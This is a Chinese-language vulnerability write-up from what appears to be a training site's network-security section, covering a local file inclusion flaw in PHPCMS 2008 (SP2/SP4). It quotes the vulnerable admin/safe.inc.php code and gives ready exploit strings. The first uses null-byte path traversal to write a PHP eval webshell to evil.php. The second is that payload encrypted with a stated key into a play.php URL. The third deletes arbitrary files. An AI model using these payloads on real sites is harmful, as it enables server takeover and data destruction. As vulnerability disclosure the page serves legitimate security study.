软件开发培训班 >> 网络技术 >> 网络安全
Phpcms本地包含漏洞导致的写shell漏洞和删除任意文件漏洞 |
|
本文标签:Phpcms,本地包含漏洞 发布日期:2011-05.04 影响版本:phpcms2008 sp2 or sp4 漏洞类型:文件包含 由于phpcms的全局变量机制,导致能拿shell的方法很多,类似的问题不止一个 。 admin/safe.inc.php文件是后台扫木马的程序,但是很可惜的是虽然文件名叫做safe,但是一点也不safe 。 公布一个本地包含秒杀拿shell的方法 。 包含:admin/safe.inc.php文件GET提交一下数据 $evil=i=1&m=1&f=fuck&action=edit_code&file_path=evil.php&code=<?eval($_POST[a])?>&mod=../../admin/safe.inc.php%00; http://127.0.0.1/n/phpcms/play.php?a_k=GnRBQwJbXkEEUSAjIAJKBTkxHgoddBUBBhIwBA0II3AlAAABBTUWERt0FRMGCkEXChxgNSwNCVlmehITEiVYQTA2IDQ2NycLalZSQjcqE1hdZ19LQUkOAw8FKHkwCAoBdCwZBl05GBVKVl8=
同理任意文件删除漏洞: 参考:Flyh4t [PhpCMS]一个漏洞的二次利用
详细说明: 贴上存在漏洞的代码 复制代码 代码如下://admin/safe.inc.php <?php defined(IN_PHPCMS) or exit(Access Denied); // include/common.inc.php 里面声明了常量 // define(IN_PHPCMS, TRUE); if(empty($action)) $action = "start"; $safe = cache_read(safe.php); $filecheck = load(filecheck.class.php); if(empty($safe)) { $safe = array ( file_type => php|js, code => , func => com|system|exec|eval|escapeshell|cmd|passthru|base64_decode|gzuncompress, dir => $filecheck->checked_dirs() ); } switch ($action) { ... case edit_code: if (file_put_contents(PHPCMS_ROOT.$file_path, stripcslashes($code))) { showmessage(修改成功!); } break; case del_file: $file_path = urldecode($files); if (empty($file_path)) { showmessage(请选择文件); } $file_list = cache_read(scan_backdoor.php); unset($file_list[$file_path]); cache_write(scan_backdoor.php,$file_list); @unlink(PHPCMS_ROOT.$file_path); showmessage(文件删除成功!, ?mod=phpcms&file=safe&action=scan_table); break; ... 漏洞证明: 将在根目录下生成一句话 用上一篇得到的密钥$key=sIpeofogblFVCildZEwe; 加密如下字符串 $evil=i=1&m=1&f=fuck&action=edit_code&file_path=evil.php&code=<?eval($_POST[a])?>&mod=../../admin/safe.inc.php%00; http://127.0.0.1/n/phpcms/play.php?a_k=GnRBQwJbXkEEUSAjIAJKBTkxHgoddBUBBhIwBA0II3AlAAABBTUWERt0FRMGCkEXChxgNSwNCVlmehITEiVYQTA2IDQ2NycLalZSQjcqE1hdZ19LQUkOAw8FKHkwCAoBdCwZBl05GBVKVl8=
同理任意文件删除漏洞: 复制代码 代码如下:$evil=i=1&m=1&f=fuck&action=del_file&files=robots.txt&mod=../../admin/safe.inc.php%00; http://127.0.0.1/n/phpcms/play.php?a_k=GnRBQwJbXkEEUSAjIAJKBTkxHgoddBQAAzkJDg4JYDAqBQkXZzcYBxw9A0sbHhtBDwMia21HQ0p0ahYBHiAeShwHCQJMBSg1bRkEFH91Rw== |